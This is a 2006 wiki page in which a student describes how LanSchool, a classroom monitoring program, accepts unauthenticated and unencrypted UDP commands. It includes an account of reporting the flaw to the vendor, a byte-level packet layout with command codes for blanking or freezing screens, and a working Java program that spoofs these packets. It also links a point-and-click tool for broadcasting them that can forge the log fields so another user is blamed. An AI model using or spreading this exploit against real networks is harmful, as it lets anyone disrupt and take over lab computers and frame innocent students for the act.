LanSchool

From Compsci.ca Wiki

Revision as of 23:08, 22 November 2006

What is LanSchool

What it looks like

LanSchool is trojan horse type program that is used by many school boards in Ontario to spy on their students as well as controlling one or all computers in a given lab. It is another example of the school boards spending money on software that they could get for free, with the free version even being of higher quality. LanSchool has many flaws in its design, and thus many security holes, which will be mentioned below.

The LanSchool website: http://www.lanschool.com/

The Story

The Story as told by Hacker Dan:

During Grade 12, I changed schools, and the new school that I went to had substantially better computing facilities. I thought this was a good thing, but after playing around for a bit, I noticed a little green icon in the system tray that did not seem to do anything. Looking in to this, I found out that it was a program named LanSchool (http://www.lanschool.com/). What is LanSchool you ask? The name makes it sound innocent enough, maybe something to help students? Well, it may have started out that way but what it has become is basically a Trojan horse program for teachers to use to watch everything that you are doing (inducing watching your screen) as well as giving them the ability to control your computer or all computers in the lab at the same time. As usual, the school board decided to spend money on something they could get for free and got a crappier version than what they could have got for free.

So I started looking in to LanSchool more and found a demo version on their site. This demo version could not interact with real versions that the school used and would not allow students to do any damage. 1st, I looked in to how it used the registry of the computers that it was on, and found that every time the teacher application sent a command to the student versions it recorded which windows user sent the command, the computer name of the computer that they were on and the time in all registries of every computer on the network. This meant that finding a full version of the software, although not hard, would end you up in a lot of trouble unless you brought your own computer to school and even then still could.

So I began to look at the packets it was sending and to my shock they were UDP and not TCP and they had no encryption or coding to them at all. This means that it is extremely easy to spoof the packets. So I quickly wrote up a simple java program to test out my theory. After some time and experimentation, I decoded what most of the packets meant and was able to control the demo version of LanSchool. After looking more at the packets, I noticed that the differences between the demo version and the real version was that the demo version uses only one channel that is never used by the real version. So it was simple a matter of changing the channel byte to a real channel in the packet to get it to work with most, if not all, versions of LanSchool. Also this allowed me to make the registry logs say what ever I wanted, including blaming other students for the hack.

Now being the nice guy that I am, I emailed my findings to LanSchool and suggested several ways to fix this exploit. There responses basically said that they would rather spend their time and effort enforcing the rules of the school and the law than fixing their program. They even made threats of legal action as well as suspensions that I could get were I to use this program. So next, I went to my school and actually demonstrated (with their permission) the exploit and how insecure the product was. Again, nothing happened as a result of my efforts, so a month later, I published how the system worked on compsci.ca.

It is now almost 2 years later, so I have rewritten my hack so anyone, even script kiddies can use it, even with a nice GUI and everything. My hope is that by doing this, I will teach people why programming software in the same way that LanSchool has been written is bad from a security and integrity viewpoint and to encourage the school board to buy (if they must use such software) better software from companies that know what they are doing and are willing to keep with the times. BTW, LanSchools website still claims that there are no known bugs with LanSchool.

Communications with LanSchool

Feb. 26th, 2006

To: LanSchool
From: Hacker Dan

The Packet

This is what the packet looks like:

Mode | Version | Channel |00 or DF |DA | D1| ___data here__|__log info__|

Mode is basickly the comand you are send so far i have found alot of them and here are some expamles:

• 00 - start boradcast of screens
• 04 - restore computer screens
• 07 - blaken all screens
• 08 - unload lanschool or just frezz it up good

The verson corposneds to what verson of lanschool you are runing versons 5.x seem to like 01 and 02 seems to be for 6.x

The channel area is prity simple, it is the channel number. The demo verson uses channel FF in hex or 255 in dec.

The next 3 bytes are kind of hard to figgure out but seem to allways be the same in the give verson of lanschool. For 5.x and the low 6.xs the 1st byte here should be 00 for 6.5 and some others it should be DF in hex. The other 2 seem to allways be the same.

The data area is data for that comand, some comands do not need this like blacken all screens.

The log area is where it puts the name of your computer and then your username for loging. This area also has alot of useless 00 bytes that just take up space.

Application of the packet

The falowing is a very simple java application that will take adavagte of the above infomration to black out screens for the demo verson of 6.5 of lanschool only on the computer you are using. To send to all computers in a network you could use the ip 255.255.255.255

public class LanHack {

  public static void main(String args[])
  {
     try
     {
        InetAddress ipaddr=InetAddress.getByName("120.0.0.1");
        DatagramSocket mysocket=new DatagramSocket();
        byte sendbuf2[] = {(byte)0x07,(byte)0x02,(byte)0xff,(byte)0x3f,(byte)0xda, (byte)0xd1};
        DatagramPacket sendPacket2 = new DatagramPacket( sendbuf2, sendbuf2.length, ipaddr, 796);   
        mysocket.send(sendPacket2);
     }catch(Exception e){}
  } 

}

Note that for lesser verson of lanschool you whould have to chage the 0x3f to 0x00 and posibley 0x02 to 0x01 or another number. Aslo this is set to the demo chan 0xff and if u whonted to send to a real verson you whould have to set it to 0xChanNumberInHex.

LanSchooled

LanSchooled Screen Shot

Now for what i did with all this knogagel to make a point and click lanschool hack that can help you understand how the packets work. Rember that this is only for educational use and should not be used for evil purposes and i take no respoblity for what you do with it. With that side, i only tested it on the demo verson but i whould like to hear from peoleop if they got it to work on other versons.

How to use

The top frame shows the packet that will be sent, you can use the easy set up buttions below it to set the packet to do what you whont. The times bar will let you say how many times you whont to send out the packet.

Seting the channel to "ALL" will send to all posiable lanschool channels incuding the demo one. Seting the verson to "9" will send a verson 2 but with 0x00 rather then 0xdf. Seting to "2" will send verson 2 but with 0xdf. All other verson numbers send there verson and 0x00.

The log info lets you set what to set the name and comp name of in the regersity logs of the computers effected. I whould storgy remocmend peoleop not expoit this to get peoleop in thoruble since that is just evil.

You most hit send to aucatly send the packet. The easy set up buttions just configer the packet you are going to send.

Where to get

• Latest Versons of files: http://compsci.ca/dan/LanSchooled/
• Sorce Code: http://compsci.ca/dan/LanSchooled/LanSchooled.java
• Class File: http://compsci.ca/dan/LanSchooled/LanSchooled.class
• Excutbale Jar: http://compsci.ca/dan/LanSchooled/LanSchooled.jar
• EXE Verson: http://compsci.ca/dan/LanSchooled/LanSchooled.exe